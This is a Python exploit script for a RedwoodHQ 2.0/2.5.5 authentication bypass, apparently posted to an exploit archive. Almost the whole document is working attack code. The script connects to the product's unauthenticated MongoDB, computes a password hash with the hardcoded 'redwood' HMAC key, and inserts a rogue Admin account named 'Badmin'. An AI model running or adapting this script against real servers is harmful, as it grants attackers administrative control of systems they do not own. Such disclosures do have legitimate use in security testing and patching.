RedwoodHQ 2.5.5 Authentication Bypass

`# -*- encoding: utf-8 -*-  
#!/usr/bin/python3  
  
# Exploit Title: RedxploitHQ (Create Admin User by missing authentication on db)  
# Date: 14-june-2019  
# Exploit Author: EthicalHCOP  
# Version: 2.0 / 2.5.5  
# Vendor Homepage: https://redwoodhq.com/  
# Software Link: https://redwoodhq.com/redwood-download/  
# Tested on: Ubuntu and Windows.  
# Twitter: @EthicalHcop  
# Usage: python3 RedxploitHQ.py -H mongo_host -P mongo_port  
# Description: Use RedxploitHQ to create a new Admin user into redwoodhq and get all the functions on the framework  
#   
# RedwoodHQ doesn't require that MongoDB is installed on the machine because this tool have her own Mongo Launcher.   
# The problem is that this vendor database doesn't require any authentication to read her data.   
# So, I use the same syntax that use the Framework to create my admin user on the database and access into the tool  
#   
# POC: https://youtu.be/MK9AvoJDtxY  
  
import hashlib  
import hmac  
import optparse  
from pymongo import MongoClient  
  
def CreateHMAC(Pass):  
message = bytes(Pass,encoding='utf8')  
secret = bytes('redwood',encoding='utf8')  
hash = hmac.new(secret, message, hashlib.md5)  
return (hash.hexdigest())  
  
def DbConnect(ip,port):  
uri = "mongodb://" + ip + ":" + port + "/"  
con = MongoClient(uri)  
return con  
  
def DbDisconnect(con):  
con.close()  
  
def CreateBadminUser(ip, port, user, passw):  
con = DbConnect(ip, port)  
db = con.automationframework  
usr = db.users  
passw = CreateHMAC(passw)  
data = {  
"name": user,  
"password": passw,  
"tag": [],  
"role": "Admin",  
"username": user,  
"status": ""  
}  
usr.insert_one(data)  
DbDisconnect(con)  
  
def start():  
parser = optparse.OptionParser('usage %prog ' + \  
'-H host -P port')  
parser.add_option('-P', '--Port', dest='port', type='string', \  
help='MongoDB Port')  
parser.add_option('-H', '--Host', dest='host', type='string', \  
help='MongoDB Host')  
(options, args) = parser.parse_args()  
ip = options.host  
port = options.port  
if (str(ip) == "None"):  
print("Insert Host")  
exit(0)  
if (str(port) == "None"):  
port = "27017"  
try:  
CreateBadminUser(str(ip), str(port), 'Badmin', 'Badmin')  
print("[+] New user 'Badmin'/'Badmin' created.")  
except Exception as e:  
print("[-] Can't create the 'Badmin'/'Badmin' user. Error: "+str(e))  
  
if __name__ == '__main__':  
start()  
`